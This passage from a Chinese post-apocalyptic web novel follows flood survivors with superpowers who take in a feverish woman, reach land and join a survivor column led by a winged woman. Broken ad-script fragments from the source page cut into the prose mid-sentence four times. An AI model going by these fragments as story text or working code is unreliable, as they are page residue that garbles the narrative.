为什么她们拿了东西还不走，究竟想做什么。 “就算我们现在带你离开，你觉得你能活下去吗？” 眼镜女人：“什么意思？” 萧顺清将利益冰冷地说清：“证明你有活下去的能力，我们不可能带上一个累赘。” 眼镜女人对上她的视线，明明听见了活下去的希望，却因为对方冰冷的话而心生胆怯。 她求助的目光看向苏凤晚和陈师望。 陈师望心觉抱歉，挪开了视线，摆明是听另外两人的。 苏凤晚则是看似温和，实则附和：“别担心，说说你的能力，不管是什么，只要有用，我们带上你也不是不可以。” 眼镜女人：“怎么，怎么证明？我能做什么，我，我能做什么？” 苏凤晚：“你真的有异能吗？你不知道你的异能是什么？” 眼镜女人目露迷茫：“异能？什么是异能……等等！让我想想，我再想想。” 萧顺清见她真的一点都没有异能的印象，也觉得奇怪，她当初有异能时几乎是自然而然就发现了。 头痛之后，她就觉醒了异能。 当异能出现在身体内的那一刻，每个人都会有明显的感知，萧顺清如此，其他人也没有例外。 她有些疑惑于女人到现在都不知道自己特殊能力的缘由。 也许独自一个人待得久了，眼镜女人的社交能力达到低谷，她焦急地皱起眉头回想，说话也吞吞吐吐。 引导眼镜女人回想异能的事交给了苏凤晚，她以前也经常和别人聊天，这回正好对口。 萧顺清则是在房间内寻找线索。 她摸着眼镜女人之前待着的衣柜，干干爽爽，不像她们的衣服，总是带着一股潮湿阴冷的味道。 太阳被遮住了这么久，她是怎么保持干爽的？ 是跟火有关的异能？ 和眼镜女人面对面的苏凤晚忽然疑惑道： “你很紧张？” 若非她觉得对面不像是说话，这样毫无效率的沟通应该会让苏凤晚给对方打上有所隐瞒的危险标签。 她递出手帕，眼镜女人看着十分焦虑紧张，明明瘦弱无比，四肢都是营养不亮暗淡黄皮，脸上却黑红黑红，看着跟在火炉蒸了半小时似的。 而额头的汗珠更是豆大一颗，却没有滑落，而是几息之间蒸发。 萧顺清走了过来，蹲下后，猝不及防抓住她的手。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 入手的温度让她了然，她放下对方的手，下了结论： “她不是紧张，她是热。” 手上的温度显然不是人体正常的温度，大约能有四十多度吧。 也不太可能是发烧，人要是烧到这种程度应该可以直接拖去火化了。 眼镜女人对别人抓自己的手没有任何反抗，反而似乎灵光一闪：“对！对！我很热！这个，这个算特异功能吗？” 她看起来对异能一点都不了解，只是抓住一丝可能。 萧顺清：“她的异能可能是升高自己温度，大概近似一个热源，那些衣柜和衣服也是这么被烤干的。” “放火？” “看样子不是，只是升高温度，还是只能升自己的温度。” 在场的人也有点纠结，这算不算有用呢。 萧顺清迟疑道：“海拔升高温度下降，可能，有她在，我们能暖和点。” 苏凤晚也说服了自己：“帮大家烤干衣服，也算是为团队做贡献。” 话里的意思已经偏向带她走，本来也经过众人同意，眼下，她们也不再纠结，两名女性将眼镜女人扶起，问： “你有轮椅吗？” “有，有，但是没电了。” “陈师望，再放个塑料瓶给她。” 也得亏是这边的三人发现了她，换成另外一边，肯定有人要舍弃自己的物资，来个人背着她走。 眼镜女人喜出望外：“谢谢，谢谢！我，你们让我做什么我就做什么，我叫陈阳！” 她现下也算是同伴，陈师望松懈下来，笑着接话： “还是本家。” 搀扶间，陈阳的眼镜被碰掉，萧顺清正想给她捡起，却发现陈阳的眼神出奇的空洞。 她心里闪过不好的预感，伸手在她眼前晃了晃。 “你视力很差？” 陈阳反应迟钝：“什么？没，没有啊，我摘了眼镜也能看清的。” 陈师望：“她到底是发烧还是异能，我怎么看她是烧糊涂了。” 事已至此，她们只能先把人带回去。 要真是萧顺清判断错，陈阳就是生病，那她能烧成这样还说话，也挺神奇的。 回到船上，苏凤晚先和丘莲一起清点物资，其他人则是围拢陈阳。 陈阳扶了扶眼镜：“大家，大家好。” 她又自我介绍一遍，同时像是进入陌生环境的动物一样打量四周。 这比她想象中还要好。 宽敞明亮的船舱，井然有序的布局，公共区域晾晒着几件衣服，充满了生活气息，甚至还有只松鼠，蹦蹦跳跳，让她感觉一下子就活过来了。 丘莲：“她真的有异能吗？身体好像很弱，不过，我身体也差啦。” 她说着捂嘴笑起来，似乎在散发善意。 陈阳的反应一如既往迟钝：“什，什么？” 萧顺清皱眉：“先让她休息一晚，吃点药。” 她觉得自己对陈阳的异能判断没有错，但是，异能本身可能对陈阳的身体造成了影响。 异能是升温自己的身体，这跟主动发烧也没有区别，不会是真的把自己脑子烧傻了吧？ 38.靠近 在安全的环境下，支撑陈阳清醒的意志也消失不见。 陈阳刚跟所有人都打过招呼，就两眼翻白晕了过去，浑身滚烫，所有人都被吓了一跳。 丘莲慌忙给她泡了一包感冒冲剂，捏着她嘴喝下去，但陈阳还是没醒过来。 萧顺清只能先将她的房间建出来，但门敞开，以便随时查看她的状况，也能让她好好睡着。 药喝下去，陈阳也不见好。 昏睡了一天后，第二天，众人聚在一起吃饭，听见她醒了的声音，正好是苏凤晚坐在她身边，给她喂了点水喝，又勉强吃了两口，一句话都没说明白，便又昏迷过去了。 苏凤晚：“……” 这究竟是找了个同伴还是找了个摆件。 陈阳的身体越来越热了，她们干脆没有再给她喂什么退烧药感冒药。 反正也不起效果。 后来大家都发现了一件事，陈阳越来越傻了，清醒的时候本就少，醒来问她什么，她都会迷迷瞪瞪的： “啊？什么……” 然后费劲思考究竟该怎么回答。 如此过了几次，大家也不问她了，让她试着收回异能，她压根连自己异能怎么用都不知道，使身体升温仿佛就是她的本能，没有关闭键。 “她这么烧下去，不会把自己燃起来吧？” 丘莲把洗好的衣服挂在杆子上，目光担忧地看向躺在中间的陈阳。 安详的陈阳平躺在铁板上，四周围着一圈晾衣绳，各色衣服都挂在这儿。 乍一看，陈阳像是被架上火葬仪式上一样。 可，虽然不吉利，但实在好用。 苏凤晚将自己的衣服也晾在上面，拍拍手：“她这闲着也是闲着，反正她之前也答应了要烤衣服。” 答应了吗？ 反正这也是陈阳目前能做的唯一的事。 陈阳身体的温度很高，至少对于现在的气温来说，她们就算是靠近待得久了都会觉得很热。 但是晾衣服却正好，半天就干了。 就连船舱内的公共区域，原本因为偶尔飞溅的雨水难免潮湿，都因为陈阳的存在好像干燥了些。 她一个人待在自己的房间，烤自己房间的铁皮是烤，造福大家也是烤。 这样毫无相处可言的相处模式，让众人很快接受了陈阳的存在，毕竟陈阳通常情况下一动不动。 权当陈阳是个偶尔会说话的电烤炉。 功能故障不能断电，即使在闷热夏天也要尽职尽责保持温度的那种。 陈阳醒了就给吃给喝，就当充电。 为此，她们还省了每天来人抽空查看陈阳状况的时间，是个人走动就能随时看一眼，将她放在公共区域，拿各种衣服一遮，勉强也还算有点隐私。 萧顺清原本想要弄清楚陈阳的异能，但陈阳被烧得脑子不好使，短暂的清醒时间中，也说不清楚自己身体状况。 她暂时将这件事放置一旁，但另一件事被她验证成功。 她的确能够提前感知到船上异能者的升级，在陈阳上船后，尽管无意识的时间更多，但因为长久的升温自己身体，也就是使用异能，她很快便升级一次。 周身的温度再度升高，连带高温扩散的范围变大，众人开始市场挪动陈阳，让她能够均匀的烤干船舱。 而不是把自己身下的铁板变成烤鱼的铁板。 萧顺清的想法验证一部分，但她没有完全放下心来。 因为陈阳没有好转。 异能升级，她的清醒时间反而变得更少。 萧顺清怀疑对方再这么升级下去，迟早会把自己烧成炭。 ——或者骨灰。 外人对陈阳的温度感知在不超过45度。 温度不够船上任何东西的燃点，否则她们都想试试陈阳能不能烧热水。 实际上无聊的人真的做了实验，最后的结果是，杯子里的水处于热量转移的原理变得温热，但是效率极低。 “陈阳能”不能当太阳能使用。 陈阳上船几天后，众人对她失去了兴趣。 不仅仅是因为时间磨灭了她们对新人的好奇，也是因为船上接二连三发生了更值得关注的事。 一夜之间，船上的动植物好像进入了春天。 鸭子下蛋了！ 那四只鸭子里至少有一只母鸭，终于下蛋了！ 沈金兰在地里打整杂草喂给兔子时，还险些以为那是个兔毛球。 鸭子长成才多久，看见那个白乎乎圆咕隆咚的东西时，她根本没想过会是鸭蛋。 但是那偏偏那就是鸭蛋！ 经过观察，沈金兰也确认了哪只鸭子是母鸭，她以前只养过鸡和猪，这会儿也终于回忆起自己看过的别人家鸭子。 她们确认了，四只鸭子，一公三母，下蛋那只，之前是分给了陈师望。 但是这是她们船上的第一枚鸭蛋，陈师望想也不想便决定不动它。 他不缺吃喝，这群鸭子里还有公鸭，说不定这是一枚可以孵出鸭子的蛋。 他更想看看这鸭蛋究竟能不能成为一只小鸭子。 除了沈金兰，别的人对禽类什么时候下蛋没有任何知识储备，不知道鸭子究竟长到多大就能下蛋，而沈金兰也算不清日子。 兴许就是到时间了。 因为紧跟着，兔子们也□□起来，它们衔了干草进窝，脾气也变得焦躁易怒。 沈金兰给它们晒了许多枯草，让它们安心怀孕生产。 哺乳动物孕育后代的动静比卵生的大，她们也不敢经常去看，怕打扰到兔子一家。 兔子和鸭子平时就是她们关注的对象，现在更加受到关注，就连出去找物资都想着有没有这俩能吃的，补充补充营养。 除了这两种容易被看见的动物，有些不怎么露面的小东西也安定下来。 那些在船上简易安置的蜜蜂终于重振旗鼓，在那颗大树上安了家，在树洞里筑了一个小小的巢。 苦了原住民松鼠，有两回她们听见松鼠暴躁地叫，但拿那些蜜蜂也没辙。 只能冲着可恶的人类大喊大叫，试图通过这样的方式让人类帮它抢回地盘。 但是可恶的人类也不敢碰蜜蜂。 珍贵的虫子蛰一下，她们可能是痛痛痛，蜜蜂可就死了。 况且对于这种飞来飞去还会蜇人的动物，有几位人类表示十分抗拒，险些将蜜蜂和蟑螂推为最可怕动物前十位置。 毕竟蜜蜂真就是仗着自己有翅膀到处乱飞，她们也不知道这些蜜蜂是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 飞去船外还是在船内。 要是意外死了，她们也弥补不了，但是偶尔撞见，也不知道该怎么办，嗡嗡的声响实在让人很难不怕，又得控制自己条件反射的驱赶拍打。 李自光溜溜的头上顶着两只蜜蜂，也不知道这些毛虫子怎么就喜欢这个光头。 周莹好心给他头顶扇风，希望能让蜜蜂自己飞走。 李自老实巴交道：“我觉得头顶有点凉。” 周莹探头一看，那蜜蜂身下不知道是尿还是雨水，总之有个小水珠。 她不忍直视，只能指指陈阳牌火炉，让他去烤个火。 时间如流水划过，她们的生活似乎变得稳定和谐。 而唯一抱着不同心情的人，是萧顺清。 她向来待在驾驶室中，瞭望水面，感受着从船身随着波浪的起伏而传导过来的不规律波动。 也许，这也是致使她的心情并不平静的原因之一。 更多的原因…… 应该从混黄洪水里漂浮着的人形状物体寻找。 船舱内的人不需要观察让人压抑的水面，但是萧顺清需要，即使不需要，但她仍旧强迫自己看着水中的一切。 她们很久没有遇见袭击她们的怪物，但是那些因为水而膨胀肿大的人状物比怪物更让人不想遇见。 萧顺清不想撞上它们。 她知道，或许仅仅是擦肩而过，那些东西身上松散的肉就会糊上她的船，那个画面即使出现在她的脑海里都让她作呕。 但是麻木过后，萧顺清凭借理智想到了一件事。 上游有人的存在。 她们越来越靠近陆地了。 因为上游有人死去，所以才会出现这样的浮食，而且距离并不远，所以水里的鱼怪还没有来得及将它们吃掉。 陆地，真的近了。 跨越地理阶梯的时间节点来临。 萧顺清在每日分配食物时告诉了众人这件事，一瞬间，所有人都像是被蜜蜂扎了一下。 “陆地！我们要靠岸了？是真的岸，不是要被淹没的山头？” 萧顺清面无表情，并不做承诺：“不知道，也许最后压根就没有陆地了呢。” 也许翻过阶梯分界线，她们会驶入另一个汪洋大海，根本没有人类继续生存的陆地呢。 她嘴角抽动了一下，并不是想笑，而是一种嘲讽。 她并不对陆地抱有期待。 借着食物的遮挡，她们并没有看见萧顺清表情的不自然，火热的讨论起来。 丘莲：“我们是不是三天没有靠过岸了，之前总是看见两侧都有山，我们应该是在山脉的山谷里航行，高原真的要到了吧……” 陈师望：“之前撤退的迁徙大部队肯定也在高原，我们多久没见到幸存者了！” 就连沈金兰都露出笑容。 她看向萧顺清，期待发问： “是不是，能找找你爸爸妈妈还有你姐姐……” 所有人好像都在期待，上了岸，会有更多的幸存者，那是她们的同胞，也许幸存者的大部队还在岸边，她们可以真正回到安定的生活。 苏凤晚是个例外。 她看向萧顺清，萧顺清没有回应任何人的话，只是吃着食物，避开所有人的目光。 39.砝码 沈金兰得不到回答，渐渐仓皇了视线。 她不明白孙女为什么这么沉默而冷静。 “顺清，你不想回陆……” 苏凤晚提高声音，似乎无意地打断了她的话。 “谁能肯定高原的陆地就不会被淹没，该死的鬼天气，一直下雨，难道不会有一天水涨到米诺高原去吗？” 她语调讥讽，又因为长久以来挂着的温柔面具而显得割裂，所有人都看向她。 苏凤晚忽然觉得自己是揭破皇帝新衣的小孩。 所有人都在看着她，人的情绪很难分辨，至少此刻的她分辨不出，她们眼里究竟是被打破希望的悲伤，还是被打破幻想的愤怒。 实际上，她只是重复了萧顺清真正的意思。 萧顺清也在看她，视线无喜无波，更难揣测她的心思。 苏凤晚和她对上视线，心里一紧，又很快侧过头。 周莹无措地放下手中食物，呆呆地看着苏凤晚，丘莲抚了抚她的背。 一片静默中，萧顺清开口了。 她好像更没有听见苏凤晚刚刚说的残酷未来。 萧顺清回复了奶奶的话：“我会找她们。” 沈金兰：“那，那你不想回陆地？小苏可能太悲观了，那么高的高原，怎么会被水淹呢？” 洪水伊始，人们也想过，内陆高山怎么会被淹呢？ 沈金兰的话没有宽慰任何人，反倒让所有人都对陆地的存在产生一丝惧怕，仿佛只有身下的铁船能够带给她们安全感。 萧顺清没有说关于水位的事，反而笑得像哄人，对象是沈金兰： “奶奶，我上了岸就跟没有异能一样，我在船上更安全，船上的生活不好吗？” 沈金兰被安抚下来，不去想陆地的命运，的确，船上的生活她满足了，一切都在往好的方向发展，她不一定要下船，有家人的地方她就觉得安稳。 萧顺清就是她的家人，她还承诺会去找剩下的家人。 “好，好，我们慢慢找，找不到也没有关系，也许她们是在很远的地方活得好好的，都好好的。” 周莹勉强压下对遥远未来的惊恐，勉强挤出一个笑。 “我也要找，我的家人，可能她们还在岸上。” 萧顺清叹了口气。 这很正常，人类，在洪水来临之前总有自己的社交关系。 也许是友人，也许是亲人，爱人，点头之交…… 在这样的大灾难下，就算是情感淡漠的邻居，她们或许也会想知道对方的下落，是否活着。 陆地是她们这么久航行以来的希望，之一。 她们都想过以后想过跟在船上生活的日子，也已经接受这一可能性，所以拼命的想留住陆地上的东西。 那些土壤，那些花草，那些鲜活的动物。 但是，如果陆地还没有被淹没，或者，她们有机会再次回到人群，还能活下来，她们难道不能拥有第二个选择吗？ 丘莲看着激动的周莹，笑着握住她的手： “我们一起去找。” 苏凤晚垂下眼眸，将今天分到的面包封好，她一口没有吃，但也不可以浪费，潮湿的天气下，开封的食物会很快发霉，她最迟明天就要解决掉。 如果她此刻在陆地上会怎么样呢？ 会不会能够吃上真正的饱饭，吃上一口热食？ 苏凤晚起身走开，竟然巧合的和萧顺清同步，她们一起走向了船头的位置，快速前进的船带来凉爽的风，吹起两人短短的头发。 萧顺清不发一言，苏凤晚觉得自己可以做那个让萧顺清说说心里话的人。 她低声说话，眼神落在水面上，不会给任何人带去压力。 “你不想回到陆地上是吗？” 似乎并肩同行到这里，就已经证明了萧顺清同样想要一场对话。 萧顺清态度淡然，反问：“你想回到陆地上？” 苏凤晚：“陆地会被淹没，她们想要回去的是和平的人类社会。但是，我们……或者说，我和你，都知道，人类社会真的还存在吗？不存在吧，我们都在逃命，难道陆地上那些随时会被封住去路的幸存者会更幸运吗？” 她永远记得，她从没有掉出过迁徙的大部队，可最后还是被那条突如其来上涨的河水阻隔了与大陆的羁绊。 苏凤晚，或者说萧顺清同样，都不信任陆地上的迁徙队伍，总有意外会发生，总有人会掉队，难道那些水里的浮尸不会是她们吗？ 萧顺清轻笑了一下，苏凤晚感觉到她的目光落在自己身上： “可是你有异能，幸存者大部队里一定会有异能者，没有人会意识不到异能者的珍贵，如果下了船，回到岸上，或许所有人都会保护你活到最后。” 苏凤晚像是听见了什么笑话：“难道不是让异能者保护更多的人吗？就像你一样。” 她微微侧头，即使理解周莹等人的心情，可她心里依旧有一团冰让她冷却。 周莹她们想当然地想要寻找自己的亲人，那之后呢，是待在岸上，还是回到船上？ 多少人？那些人能为这艘船带来什么？或者说能够为萧顺清带来什么？她们凭什么能够获得上船的资格？ 如果萧顺清不让她们上船，有亲人的船上成员怎么办，她们会怨恨逼迫她们做决断的萧顺清，明明有能力救下她们的亲人，为什么要让她们去死。 苏凤晚总是揣测人性的丑恶，她想起来自己就是因为这一点辞去了心理医生的工作，真是……人的劣根性存在于每一个人身体中，苏凤晚不抗拒自己的恶劣，她想要活下去，就要想得更多。 萧顺清笑着，看着远方似乎若隐若现的一条黑线，那里似乎就是陆地。 苏凤晚似乎在喃喃自语，告诉自己也告诉萧顺清： “如果我不是异能者，我一定会憎恨那些不保护普通人的异能者，凭什么我要被当做没价值的物品，凭什么她们有能力救人却不保护我，凭什么都是人命……” 异能者和普通人，谁的命更重要？ 想出这个问题的人真应该被放上有火车的轨道受刑。 明明人命不可估量价值，却还是会忍不住想，如果真的到了绝境，什么人活下去才最有价值。 苏凤晚收了声，萧顺清发现她似乎陷入了某 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 种情绪不可自拔。 但她没有深究询问，而是就她们本身的话题道： “可你的确是异能者，你是摆弄砝码的人，就算是上了天平，你也是偏重的那个。” 苏凤晚转头看她，一时不明白她的意思。 萧顺清继续道：“你说过，你以前当过心理医生，网上有一个很有名的测试你应该知道吧，医生，警察，教师，亲人……如果只能选择其中几个，你会让谁活下去。” 浪声涛涛，苏凤晚却将萧顺清的低语听进耳中。 “我当然选择我的亲人，其他有选择权的人，也同样会选择亲人，而当自己有可能成为那个被选择的人时，情况又会有变化。” “而我，永远不会站上选择的天平。” 她只会做那个摆弄砝码的人。 萧顺清进了驾驶室，苏凤晚回头看向身后。 她们讨论着上岸之后要寻找幸存者大部队，那些她们熟悉的人有很大可能会在那之中。 船那么空，装得下她们想要找到的人。 可亲人还有亲人，亲人还有亲人。 苏凤晚无意识勾起一个冷笑。 摆弄砝码……吗？真好。 陆地，近在眼前。 所有人都兴奋地探出窗外，即使风雨打在脸上，她们也难掩兴奋。 那是大陆！ 成片的大陆！ 不是四面环水的随时会被淹没的山头，是绵亘的，肉眼看不见尽头的大陆。 水面将陆地切割成三角形状，露出水面的陆地更像是一个大型半岛。 再近些她们就会看不见陆地的全貌，但此时她们离得还算远，肉眼可见大地两侧是同样深入内陆的水，好像将这片大陆挤压得拱起来，形成最后的高地。 萧顺清转了航线，深入陆地左侧的水域。 因为侧面的陆地越来越高，好像形成一个港口似的，她们看不见陆地上的东西，深水却让船的行驶变得更加顺利。 直到船钻进一个凸出的锐角坡下，铁皮船变得锈迹斑斑，和褐色土地与洪水融为一体，从外粗粗看去，甚至看不见船的存在。 她们出了船，除了陈阳之外，所有人都真正的踏上陆地。 爬上陡坡，萧顺清回头看了一眼，船被遮挡，加上外表的伪装，几乎没有破绽。 她们或是小声交谈打气，或是沉默不语，但都想过，也许翻上这个坡，她们就能看见人。 但是，她们没有想过，这里会有那么多的人。 黑压压的，乌泱泱的，沉默的，急速的。 犹如一条黑河流淌在陆地上，人们向着更远处前进。 周莹下意识想要冲上去进入人流，苏凤晚一把拦住她。 “小心。” 周莹回过神来，向苏凤晚投来一个让她放心的眼神。 她们都没想过会这么水顺利见到大部队，这么多的看不见尽头的人海当然是大部队，而且还那么整齐划一，一致朝前，极有组织力。 但是她们都讨论过如果遇见了大部队应该怎么说。 萧顺清：“按照我们事先想好的说辞来。” 40.前进 七人上岸，很快分成三个小队悄悄混入队伍最末尾。 大雨倾盆，为了融入人群，她们没有穿用防水布料改制的完好雨衣，只是将一块破损的帐篷布料混着些塑料袋套在身上。 原本以为这样的模样已经足够，但当她们走近人群后，才发现自己身上的样子还是不够惨。 这些落在队伍最末尾的人，面黄肌瘦，头发因为缺少营养而几乎掉光，让人分不清她们的年纪，看着竟然比沈金兰还要苍老。 比记录片里的难民更加触目惊心，而现在的幸存者，不正是难民吗？ 萧顺清当即将地上的泥水抹在头发上，混着大雨，肮脏的水流淌在衣服上，让她看起来稍稍合群。 她往沈金兰身上抹了些泥，又佝偻身子，暂时没有快速跑动到队伍中间去，隐于沸沸人群。 周莹的通讯一直连接着三个队伍。 苏凤晚和陈师望一组，李自，周莹和丘莲一组。 “人好多……我们该怎么找啊……” 周莹有些慌乱，她被这些人的样子吓到了。 这一支队伍显然正在行进中，落在队伍最末尾显然是身体素质最差的一批，给人的冲击力也最大。 周莹年纪还小，在船上待了挺长时间，虽然不能每天都吃得好，但至少有一顿食物。 而且，她们不用逃命，休息时间坐在自己的房间内，安安静静，她们虽然都比洪水之前瘦了很多，可也没变成这样骷髅架子的模样。 周莹硬着头皮跟在队伍最后面，从那些干枯的人里寻找熟悉的面孔。 萧顺清的声音传来：“她们很有纪律……但以防万一，做一下伪装。” 纪律，七人都感受到了萧顺清说的“纪律”感。这些人都拼命向前跑着，有推挤，却没有形成骚乱，这么多的人，就算有人步子慢了，落后者没有哭喊求助，超越者也只是冷然跨越，不会因为小小插曲影响其他人的速度。 这显然是有人特意指挥过，就是不知道用了什么办法能够让落后的人也乖乖听话。 至于做伪装，是因为她们实在是太特别了，和队伍最末位的老弱病残样子格格不入。 尤其是李自和陈师望两名男性，几乎是人群中最突兀的存在。 依照常理就能猜想到，仅凭体力逃命，身体最强壮的当然在队伍前方，她们的样子太过扎眼。 要不是这些人不知为何没有什么窥探欲，只想着跑步前进，她们应该会有一些麻烦。 “这只队伍有管理者，最简单的做法是找到她们。先往前吧，管理者应该在队伍最前方。” 她们的体力当然还好，稳步向前，很快就真正没入人群。 周莹行进间，不忘扭头看着四周，如果不是她不会说话，她应该会直接喊自己亲人的名字，看看有没有反应。 因为这些人的面容看起来都太安静了，几乎分辨不出以前的样子，她险些觉得这些安静是死气沉沉。 忽然，在她前方一人貌似力竭，身形轰然一塌，她身边的人都没有伸手的意思。 周莹下意识要两步上前扶住她，可丘莲却好像没看见她的动作，巧合地挡住了她的路。 瘦弱女人倒下，在不断跑动的人流中，周莹的脚步不自觉跟上了节奏，竟然没有停下来。 她和丘莲对视，丘莲冲她笑笑，眼里却是制止。 周莹一时没有理解，越过丘莲纤细身体，瘦弱女人却没有真的倒下，因为和她们同行的还有李自。 李自一把捞起女人，就跟拎着一沓纸张一样轻飘飘的。 所以是丘莲想着李自会救人？ 周莹看她没有出事，也就不再关心。 而李自那儿救起来的人，却好像有点意外。 “你，你怎么？” 李自还以为她要道谢，把人放下地，还助力跑了两步，让她的速度不落下太多。 “不客气，我想问问你有没有听过……” 他顺口就要打听名字，天空却忽然传来机械的轰鸣声。 奇怪，这么久的大雨，什么机械产物也被泡发了吧，还有东西能在天上飞？ 李自抬头往天上看，却看见一只巨鹰……不，是个长着翅膀的人？！ 她盘旋在人群上空，像是牧羊的秃鹫，身下传来喇叭的声音，他这才看清那人的羽翼之下躲着一台无人机。 而广播的声音是：“那个光头，不要互帮互助，请立刻全速奔跑，所有幸存者，请全速奔跑！重复一遍，全速奔跑！不要管你身边的人！” 李自诧异，看向自己先前搭了一把手的女人，那女人一瘸一拐地跑不快，但也没有跟他说什么谢谢，而是又头也不会的继续跑起来。 他这是，不该帮忙？ 光头这个特征太明显，船上下来的人都知道了这是谁，周莹耳边传来了各种关注的声音，都在询问发生了什么事。 队伍里竟然真的禁止互帮互助？ 所有人都惊讶，这是舍弃最弱一批人，抱拳队伍的最大速度？ 同时，她们也抬头看向天上盘旋的人，尽管根本看不清人脸，但那翱翔的姿态，让她们想起了一个熟人。 “队伍前方汇合。” 她们被人群分散开来，虽然还是会关注身边经过人的相貌，但她们也都知道，这么找是没有什么效果的。 最好的办法是跟这支队伍的管理人员询问，也许管理者等急了这些幸存者的名字。 萧顺清和沈金兰很快就到了队伍中央，她们选择的路线是人群左侧。 一路上沈金兰被雨淋得有些受不了，自从上了萧顺清的船，她下船淋雨的次数屈指可数，这么重的雨打在身上让她难受，脚底又都是泥，完全提不动脚步。 沈金兰倒是能忍，没吭声，但是萧顺清看她气喘吁吁的样子就有些后悔让她下船了。 本来这次行动就不一定有收获，但她们的目的是为了找人，沈金兰完全待不住。 “奶奶，你要不试试用防护罩包裹自己？” 沈金兰的防护罩也是升级过了，空间或者说容积变大，但最主要的是，有了一定的延展性，而且可以控制球体的大小。 沈金兰要是召出一个防护罩裹住身体，肯定会好受些。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“但是变形就没那么大了，你怎么办？” 她下意识考虑要将萧顺清也装进防护罩内，但萧顺清拒绝了。 “会引人注意的。” 沈金兰一个人用防护罩，就跟穿了一层透明雨衣一样，经过很多联系，也不会太引人关注。 况且两个人都进了防护罩，就像两人三足一样，行动反而不便。 沈金兰：“不要担心我，咱们事先说好了嘛，不要暴露。” 她们事先说好的就是，不要过多暴露异能，毕竟不知大陆上的具体情况，她们隐藏异能，更有优势和底气。 沈金兰原本也犹豫要不要就用了异能，但是孙女一说不要引人注意，她就狠心觉得可以再坚持一会儿。 她老婆子当年也是村里犁地的一把好手，怎么淋一会儿就受不了。 见她坚持，萧顺清也只能妥协，这样也好，异能隐藏得越好，越安全。 倒是她，上了岸完全没有异能可言，也最应该隐藏，但是看看天上飞着的那人，萧顺清心里总觉得有不好的预感。 三路人马跌跌撞撞，速度很快超越了队伍中绝大部分人，来到前方。 如她们先前所想，队伍前方的人精神样貌都比末尾的好得，她们的样子也不再那么突兀。 整只长长的队伍，倒像是阶级分明的“富人区”和“平民区”。 “前面还有车队？！” “真的是车队，军用大卡车……目测都有十几辆。” 队伍最前方，赫然是有着突出标志的大卡车，她们能够看见的几辆都是军绿色布料遮住，麻绳捆得结结实实，看形状就知道是满满的物资。 周莹三人处，因为还没有实现多人互通，周莹不传递，小队和小队之间是没有联系的。 只有队伍三人里的交谈能够被及时响应。 丘莲：“车子里装的都是物资吧，就是不知道前面的车里会不会是重要的人。” 重要的人，是指不用在陆地上用双脚奔跑的，需要被特殊照顾的人吗？ 李自：“这样应该是官方组织的队伍，有特定的规划。” 她们跑得快，没有管队伍最末尾的人，但是天空上一直有盘旋的鸟人，还有她身下的无人机，想必会有更合理的管理措施。 人多力量大也不是一句空谈，只要有绝对的力量整合，这么多人的队伍，存活率高就是一种胜利。 丘莲其实有些跟不上步子，但好在天上的眼睛虽然会阻止李自去帮队伍中跌倒的人，扶着丘莲跑却没有什么问题。 她气喘吁吁地开口：“难道她们就要一直这么跑么？不累死，腿也要断了……” 李自：“安静点吧，省些力气。” 丘莲闭嘴用鼻子呼吸，然后呛了几口雨气。 她们几乎来到了队伍最前方，遥遥相望，三支队伍似乎都能看见彼此。 是时候汇合了。 灵活变弯，队伍里的人都没反应过来，就进行了左右互换，很快，她们在队伍前方最左侧汇合。 正想低调点用周莹的异能讨论，头顶的鸟人又开始叫了起来。 41.交流 高空中的人也许长了一对鹰眼，她们都没有交头接耳，行动路线也很难隐蔽，但还是被捕捉到了。 毕竟李自的头发都许久了还是没能长出来，人群中就他最显眼。 经过一番点名，几人被催促着加快速度。 别说，尽管她们各自实力不平衡，但相对于队伍的整体速度而言非常优秀，很快就有了领跑的架势。 最前方速度加快，整支队伍的速度都提升一小节，她们身处其中不知道，但高空上的人却看得一清二楚。 腰间的对讲机传来询问：“跑动速度有提升，是否需要提升车速。” “提升。” 飞翔的人看着队伍被提升了整体速度，离海平面越来越远，她十分高兴，已经原谅了那个光头之前试图违纪的行为。 而且，她认出了这人。 虽然记忆力一般，有显著特征的家伙她也不会这么快就忘了，匆匆扫视，她猜想这几人是通过什么方法上了岸，打算跟着大部队一起行动了。 “我们不会要这么一直跑下去吧，顺清姐，我们还能找到船吗？” 要是跑得太远了，船岂不是又要盲开？ “不用担心。” 她没有多说。 其实就目前而言，她对船的感知很强，能够感知到船和自己的距离究竟有多远。 船全速前进，也用不了多久就能追上。 幸存者队伍当然不可能跑上一天一夜，当萧顺清都跑出了点火气，队伍上空终于传来原地休息的命令。 紧接着，所有人都席地而坐，有些显然是熬出了战友情，倒在一块就好像昏睡了过去，把彼此当成肉垫。 萧顺清看见车队都停了下来，觉得这是个好机会，莫名其妙开始跑步已经耽误了时间，眼下她便打算立刻去找人。 这时，一个身影从天上落到她眼前。 萧顺清看清她脸的一瞬间就暗道了一声果然。 同样的异能，当然有很大概率正是熟人，那这样一来，她们之前有些隐瞒可能就跟防护罩一样透明了。 “哈喽，又见面了！真巧！你们速度挺快啊。” 她感叹道。 萧顺清一时只能点头。 毕竟叙旧是真的没什么话题可讲，她们连彼此的姓名都不知道呢。 看对方现在的样子，也许又能帮她们一次。 萧顺清便问道：“你是这支队伍的管理人？” 她干脆利落承认，甚至一挥手，有点挥斥方遒的意思：“是啊！看，这就是我救下的万千世人啊！” 许久不见，对方的性格还是这么乐观，萧顺清没有被逗乐，但也有些被感染到。 “那你又登记这些幸存者的信息吗？我想找找人。” “OK呀，小灿那儿应该有最初的登记，但是你也想得到，人有加有减，登记的不一定在这儿，没登记的也不一定没在。” 虽然语气不是刻意安慰，但言下意思是让她放平心态。 萧顺清笑了一下：“谢谢。” 这回她们是该互通姓名了，毕竟不是第一次见。 “不客气，叫我尤晴就行。” “萧顺清。” 尤晴很喜欢自己的翅膀，但是比起上次萧顺清见她，她的翅膀又大了许多，站在地上翅膀都触到泥水，她干脆收了，一副普通人的样子。 侧头看向萧顺清身后的众人，露出一个大大的笑脸。 “哈喽，还有谁要跟我一起去？” 周莹快速地站了起来，随后是丘莲和陈师望。 